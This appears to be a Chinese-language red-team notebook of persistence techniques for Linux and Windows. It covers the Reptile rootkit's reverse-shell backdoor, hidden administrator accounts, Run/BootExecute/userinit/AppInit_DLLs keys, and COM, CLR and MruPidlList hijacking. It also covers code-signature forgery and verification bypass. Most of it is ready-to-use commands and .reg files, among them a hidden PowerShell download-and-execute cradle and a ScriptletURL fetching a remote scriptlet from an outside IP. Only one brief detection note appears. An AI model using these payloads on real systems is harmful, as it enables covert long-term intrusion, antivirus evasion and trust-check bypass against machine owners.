文章结构:
文章内容:
#1). rootkit:
LKM Linux rootkit:Reptile https://github.com/f0rb1dd3n/Reptile
目标机器:
apt install build-essential libncurses-dev linux-headers-$(uname -r) && make config
Reptile’s Backdoor
The backdoor is a reverse shell triggered by a magic packet sent via TCP, UDP or ICMP protocol. It will call a binary in userland which will connect, trigger Reptile’s hidding commands and provide you a reverse shell with some nice features like:
File uploader and downloader
Possibility to set a delay to connect back in a period of time (in seconds)
Full TTY shell (like ssh)
控制端:
There are another two binaries: listener and packet. The client binary will handle listener and packet but you can use them separately if you want
shell
The shell is easy to use, when you got a connection just type help to see the commands.
It already hide its process and connection.
Its connection is encrypted
There is a file uploader and file downloader inside.
You can set a delay to receive a reverse connection every time you want.
If you run shell you will get a full TTY/PTY shell like ssh.
#2). Windows利用注册表权限维持:
Windows隐藏账户
可以正常本地登录但无管理员权限
影子账户
命令行中删除hidden$并导入.reg文件
可本地和RDP登录且拥有管理员权限且其他用户(包括管理员)在命令行下无法查到此账户
仅hidden$账户本身在命令行下可通过net localgroup administrators查看到hidden$的存在
测试发现:
hidden$账户和本地administrator账户登入系统后为同一个账户(取决于谁先登录)
若administrator用户先登录,则命令行下无法查看到hidden$账户
若hidden$用户先登录,则命令行下可查看到hidden$账户
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-BootExecute密钥
启动注册表项:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:
cmd.exe /c powershell.exe -nop -w hidden -c “$l=new-object net.webclient;$l.proxy=[Net.WebRequest]::GetSystemWebProxy();$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $l.downloadstring(‘http://10.95.14.216:8080/MWzJkHqxQmTmol’);”
user1用户登录:
administrator用户登录:
通过BootExecute来实现启动Native程序,Native程序在驱动程序和系统核心加载后将被加载,此时会话管理器(smss.exe)进行windowsNT用户模式并开始按顺序启动native程序
SMSS.EXE会话管理器调用配置子系统:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute
用于系统启动时的自检,启动项里的程序在系统图形化界面完成前就已经被执行,具有很高的优先级
http://hex.pp.ua/files/nativeshell_0.12.rar
add.reg:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
“BootExecute”=hex(7):61,75,74,6f,63,68,65,63,6b,20,61,75,74,6f,63,68,6b,20,2a,\
00,6e,61,74,69,76,65,20,48,65,6c,6c,6f,20,57,6f,72,6c,64,21,00,00
install.cmd:
\@echo off
copy native.exe %systemroot%\system32\.
regedit /s add.reg
echo Native Example Installed
pause
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-用户名密钥
userinit注册表键:
用户进行登录时WinLogon进程加载的指定的登陆脚本
该键的值中可以使用逗号分隔开多个程序
注意字符转义
user1用户登录:
administrator用户登录:
反弹shell的权限取决于当前登录的用户,注销会丢失shell,重新登录后重新获取shell,切换用户不会丢失shell,切换用户并登录其他用户会获得该用户新shell,之前的用户shell依然正常
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-LogonScripts键
LogonScripts能优先于杀软运行(适用于单个当前用户,所以尽量搞管理员维持高权限)
user1用户登录:
administrator用户:
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-启动密钥
User Shell Folders优先于Shell Folders
user1用户登录:
重新登录:
administrator用户登录:
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-浏览器辅助对象
IE启动时加载的DLL模块 https://github.com/liigo/bho
将数字签名添加在文件末尾的方法(Authenticode):
powershell验证数字签名:
signtool.exe验证数字签名:
sigcheck.exe验证数字签名:
生成测试证书:
将数字签名保存在CAT文件中的方法(catalog):
Windows系统中,有些文件通过文件属性无法获得其数字签名信息,但是这些文件也包含数字签名,这里的数字签名指的就是CAT(安全编录)文件数字签名(catalog signing)
C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
通过文件属性无法查看CAT数字签名.cat文件保存格式为ASN.1标准,直接通过记事本无法查看,需要解密,https://lapo.it/asn1js/
C:\Windows\System32\xwizard.exe 自带CAT格式的数字签名,通过文件属性无法查看CAT数字签名
powershell无法获得CAT文件数字签名:
Win10系统能够获取CAT文件数字签名
Win7系统不能获取CAT文件数字签名
可以使用signtool.exe和sigcheck.exe查看数字签名
使用CAT文件数字签名
1.生成CAT文件
2.使用证书为CAT文件添加签名
3.将cat文件添加到系统的安全编录数据库
添加到系统的安全编录数据库相当于在目录C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}添加文件makecat1.cat
移动位置后,CAT文件数字签名不会失效
PE文件的签名伪造
CFF Explorer获取文件结构
Security Directory RVA代表数字签名在PE文件中的偏移位置
Security Directory Size代表数字签名的长度
将这部分内容提取,复制到另一个文件test.exe的尾部,同时使用CFF Explorer修改test.exe对应的Security Directory RVA和Security DirectorySize实现数字签名的伪造
https://github.com/secretsquirrel/SigThief
将consent.exe的数字签名复制到compromise.exe中
win7:
win10:
使用IDA打开该dll,查看函数DllRegisterServer()
该函数返回TRUE代表验证成功,返回FALSE代表验证失败
该功能对应注册表键值,位置如下:
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\
不同GUID对应不同文件格式的验证,例如:
C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件
9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件
C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件
替换
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
下的dll和FuncName
只要dll的导出函数返回TRUE,就能够绕过验证
所以查找系统默认的dll,找到一个导出函数返回true即可
如果使用32位的程序,如32位的signtool和sigcheck,为了绕过验证,还需要修改32位的注册表键值:
PE文件的签名验证劫持
查看受系统保护的DLL:
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-AppInit_DLLs注册表项
User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。只会影响加载了user32.dll的进程。User32.dll是一个非常常见的库,用于存储对话框等图形元素。
没有弹回shell
现在将LoadAppInit_DLLs键值从1改回0后,立刻弹回shell
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-文件关联
HKEY_CURRENT_USER\Software\Classe //保存了当前用户的类注册和文件扩展名信息
HKEY_LOCAL_MACHINE\Software\Classe //保存了系统所有用户用户的类注册和文件扩展名信息
HKEY_CLASS_ROOT //HKEY_CLASSES_ROOT项提供合并来自上面两个的信息的注册表的视图
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-映像劫持
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维- COM Hijacking
应用程序寻找过程:
1.HKCU\Software\Classes\CLSID
2.HKCR\CLSID
3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
当进程寻找COM组件时,首先会寻找: HKCU\Software\Classes\CLSID
我们直接在CLSID下新建一个对象ID,就能够劫持某个进程或多个进程。
evil.reg:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32]
\@=”C:\\Temp\\calc.dll”
“ThreadingModel”=”Apartment”
“LoadWithoutCOM”=””
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder]
“HideOnDesktop”=””
“Attributes”=dword:f090013d
命令:
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v “” /t REG_SZ /d “C:\Temp\calc.dll” /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v “LoadWithoutCOM” /t REG_SZ /d “” /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v “ThreadingModel” /t REG_SZ /d “Apartment” /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v “HideOnDesktop” /t REG_SZ /d “” /f
reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v “Attributes” /t REG_DWORD /d f090013d /f
eventvwr.exe将会寻找{0A29FF9E-7F9C-4437-8B11-F424491E3931}这个组件,而这个组件又需要加载InProcServer32指定的DLL,这个DLL的路径就是MSF上传的木马DLL。当DLL一旦加载到eventvwr.exe这个进程中,Windows会复制一个管理员的Access Token给这个DLL创建的进程。
eventvwr.exe如果是被管理员组的用户打开,将会自动提升权限,Windows中会有很多这类的应用程序
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-CLR劫持
CLR:(能够劫持所有.Net程序,系统默认会调用.net程序,导致后门自动触发):
全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。
CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:
在CLR监视之下运行的程序属于“托管的”(managed)代码
不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D “%CD%\msg.dll” /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
使用CLR能够劫持所有.Net程序的启动,但是只能作用于当前cmd
作用于全局(修改环境变量)
修改系统变量(需要管理员权限):
wmic ENVIRONMENT create name=”1”,username=”<system>“,VariableValue=”1”
修改当前用户变量(当前用户权限):
wmic ENVIRONMENT create name=”2”,username=”%username%”,VariableValue=”2”
需要系统重启或注销重新登录才能生效
注销或重启后:
完整POC:
wmic ENVIRONMENT create name=”COR_ENABLE_PROFILING”,username=”%username%”,VariableValue=”1”
wmic ENVIRONMENT create name=”COR_PROFILER”,username=”%username%”,VariableValue=”{11111111-1111-1111-1111-111111111111}”
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D “%CD%\msg_x64.dll” /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D “%CD%\msg.dll” /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
检测方法:
检查环境变量COR_ENABLE_PROFILING和COR_PROFILER
检查注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID\
补充:
powershell更改环境变量
New-ItemProperty “HKCU:\Environment\” COR_ENABLE_PROFILING -value “1” -propertyType string | Out-Null
New-ItemProperty “HKCU:\Environment\” COR_PROFILER -value “{11111111-1111-1111-1111-111111111111}” -propertyType string | Out-Null
注册表环境变量POC:
REG ADD “HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32” /ve /t REG_EXPAND_SZ /d “C:\test\calc.dll” /f
REG ADD “HKCU\Environment” /v “COR_PROFILER” /t REG_SZ /d “{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}” /f
REG ADD “HKCU\Environment” /v “COR_ENABLE_PROFILING” /t REG_SZ /d “1” /f
mmc gpedit.msc
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维- CAccPropServicesClass以及MMDeviceEnumerator劫持
同使用CLR劫持.Net程序的方法类似,也是通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测。
dll命名规则
32位:api-ms-win-downlevel-1x86-l1-1-0._dl
64位:api-ms-win-downlevel-1x64-l1-1-0._dl
{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}对应CAccPropServicesClass
{BCDE0395-E52F-467C-8E3D-C4579291692E}对应MMDeviceEnumerator
64位及32位:
C:\Users\user1\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
自动化工具:
https://github.com/3gstudent/COM-Object-hijacking
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-MruPidlList劫持
在注册表位置为HKCU\Software\Classes\CLSID\下创建项{42aedc87-2188-41fd-b9a3-0c966feabec1},再创建一个子项InprocServer32,默认的键值为我们的dll路径,再创建一个键ThreadingModel,其键值:Apartment
该注册表对应COM对象MruPidlList,作用于shell32.dll,而shell32.dll是Windows的32位外壳动态链接库文件,用于打开网页和文件,建立文件时的默认文件名的设置等大量功能。其中explorer.exe会调用shell32.dll,然后会加载COM对象MruPidlList,从而触发我们的dll文件
重启或结束explorer.exe后新开启一个explorer.exe,恶意dll被加载
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维-winlogon COM劫持
AtomicRedTeam.sct:
<?XML version=”1.0”?>
<scriptlet>
<registration
description=”AtomicRedTeam”
progid=”AtomicRedTeam”
version=”1.00”
classid=”{AAAA1111-0000-0000-0000-0000FEEDACDC}”
remotable=”true”
>
</registration>
<script language=”JScript”>
<![CDATA[
var r = new ActiveXObject(“WScript.Shell”).Run(“calc.exe”);
]]>
</script>
</scriptlet>
COMHijack.reg:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
\@=”AtomicRedTeam”
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
\@=”{00000001-0000-0000-0000-0000FEEDACDC}”
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
\@=”AtomicRedTeam”
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
\@=”{00000001-0000-0000-0000-0000FEEDACDC}”
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
\@=”AtomicRedTeam”
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
\@=”C:\\WINDOWS\\system32\\scrobj.dll”
“ThreadingModel”=”Apartment”
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
\@=”AtomicRedTeam.1.00”
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
\@=”http://10.95.14.216:8000/evil.sct”
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
\@=”AtomicRedTeam”
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD7-FBEEA2180A1E}]
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{06DA0625-9701-43DA-BFD7-FBEEA2180A1E}\TreatAs]
\@=”{00000001-0000-0000-0000-0000FEEDACDC}”
重启机器:
ATT&CK: Privilege Persistence-2).Windows利用注册表权限维- RunOnceEx权限维持
可规避autoruns.exe的检测
调用恶意dll:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d “C:\xx.dll”
恶意dll将在下次登录时启动
或手动调用
调用恶意exe:
dll和exe同时注册时只调用dll
exe被调用完后其注册表项(0001 /v “Line1” /t REG_SZ /d “||c:\windows\system32\calc.exe”)自动被清除